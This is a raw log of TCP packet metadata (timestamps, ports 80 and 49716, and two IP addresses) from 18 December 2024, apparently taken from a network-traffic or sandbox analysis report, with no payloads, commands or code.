Dec 18, 2024 09:13:15.307380915 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.307554960 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.307836056 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.308182955 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.308306932 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.308535099 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.308980942 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.309089899 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.309135914 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.309792042 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.309890985 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.309941053 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.310631037 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.310862064 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.310910940 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.311424971 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.311527967 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.311575890 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.312227011 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.312351942 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.312405109 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.313021898 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.313133955 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.313211918 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.313810110 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.313966990 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.314016104 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.314629078 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.314778090 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.314826965 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.315418959 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.315571070 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.315841913 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.316241026 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.316385984 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.316436052 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.317054987 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.317169905 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.317282915 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.317864895 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.317981958 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.318054914 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.318761110 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.318836927 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.318885088 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.319463015 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.319618940 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.319668055 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.320255041 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.320416927 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.320547104 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.321059942 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.321113110 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.321228981 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.321876049 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.321974039 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.322024107 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.322679996 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.322812080 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.322870016 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.323481083 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.323605061 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.323746920 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.324337959 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.324424028 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.324512005 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.325136900 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.325352907 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.325587988 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.325896978 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.325972080 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.326016903 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.326709986 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.326936960 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.327029943 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.327538967 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.327646971 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.327702999 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.328326941 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.328500032 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.328547001 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.329111099 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.329262018 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.329312086 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.329925060 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.330025911 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.330073118 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.330725908 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.330836058 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.330928087 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.331598043 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.331712008 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.331758022 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.332345009 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.332561970 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.332612038 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.333163023 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.333292007 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.333343029 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.333944082 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.334085941 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.334146023 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.334747076 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.334877968 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.334923983 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.335566044 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.335692883 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.335740089 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.336484909 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.336507082 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.336611032 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.337167025 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.337272882 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.337321043 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.337971926 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.338061094 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.338160992 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.338769913 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.338884115 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.339070082 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.339561939 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.339616060 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.339664936 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.340379000 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.340516090 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.340569019 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.341182947 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.341346025 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.341459036 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.342025995 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.342108965 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.342277050 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.342794895 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.342906952 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.342948914 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.343611002 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.343745947 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.343945026 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.344377995 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.344522953 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.344559908 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.345184088 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.345295906 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.345350981 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.345992088 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.346146107 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.346191883 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.346812010 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.346916914 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.346961975 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.347635984 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.347718954 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.347765923 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.497073889 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.497157097 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.497205973 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.497322083 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.497483015 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.497525930 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.497606993 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.498352051 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.498400927 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.498444080 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.499083996 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.499139071 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.499186039 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.500016928 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.500082016 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.500108957 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.500787020 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.500842094 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.500878096 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.501542091 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.501632929 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.501697063 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.502399921 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.502448082 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.502527952 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.503189087 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.503247023 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.503269911 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.503957987 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.504072905 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.504101038 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.504726887 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.504898071 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.504942894 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.505548000 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.505640984 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.505683899 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.506330013 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.506382942 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.506443024 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.507128954 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.507181883 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.507241964 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.507944107 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.508007050 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.508052111 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.508740902 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.508841991 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.508897066 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.509557962 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.509617090 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.509654999 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.510375023 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.510418892 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.510458946 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.511157990 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.511203051 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.511250973 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.511986971 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.512077093 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.512078047 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.512772083 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.512818098 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.512876034 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.513601065 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.513649940 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.513691902 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.514389992 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.514456987 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.514484882 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.515202045 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.515247107 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.515295982 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.515996933 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.516050100 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.516103983 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.516825914 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.516874075 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.516885042 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.517608881 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.517721891 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.517729044 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.518435955 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.518520117 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.518573046 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.519212008 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.519257069 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.519301891 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.520030022 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.520118952 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.520176888 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.520832062 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.520879984 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.520948887 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.521678925 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.521753073 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.521805048 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.556284904 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.675843000 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.675916910 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.675972939 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.676233053 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.676379919 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.676429033 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.677021027 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.677145004 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.677198887 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.677846909 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.678011894 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.678066015 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.678673983 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.678772926 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.679430008 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.679445982 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.679562092 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.679696083 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.694267035 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.813853025 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.813898087 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.813987970 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.814191103 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.814214945 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.814265013 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.814990997 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.815073967 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.815125942 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.815829039 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.815888882 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.816010952 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.816591024 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.816685915 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.816736937 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.817408085 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.817605972 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.817656994 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.818217039 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.818394899 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.818442106 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.818994999 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.819113970 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.819228888 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.819832087 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.819947004 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.819992065 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.820635080 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.820724964 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.820779085 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.821422100 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.821611881 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.821660995 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.822247028 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.822386980 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.822434902 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.823056936 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.823198080 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.823242903 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.823844910 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.823949099 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.823998928 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.824645996 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.824765921 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.824815035 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.825494051 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.825565100 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.825670004 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.826267958 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.826349974 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.826397896 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.827115059 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.827162027 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.827272892 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.827862978 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.827963114 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.828015089 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.828671932 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.828777075 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.828833103 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.829482079 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.829613924 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.829665899 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.830303907 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.830411911 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.830460072 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.831104994 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.831299067 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.831532001 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.831933022 CET	80	49716	139.99.188.124	192.168.2.5
